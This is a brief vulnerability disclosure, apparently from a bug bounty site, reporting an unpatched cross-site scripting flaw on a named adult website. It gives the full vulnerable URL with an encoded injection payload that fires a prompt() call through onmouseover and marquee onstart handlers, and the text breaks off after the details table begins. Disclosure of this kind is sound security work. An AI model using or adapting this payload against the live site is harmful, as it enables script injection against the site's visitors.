altaporn.com XSS vulnerability

Vulnerable URL: http://altaporn.com/?fi=1gay==aaaaa%22+onmouseover%3Dprompt%28%2FOPENBUGBOUNTY%2F%29+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3Edemonium%3C%2Ftag%3E= Details: Description| Value ---|--- Patched:| No Latest...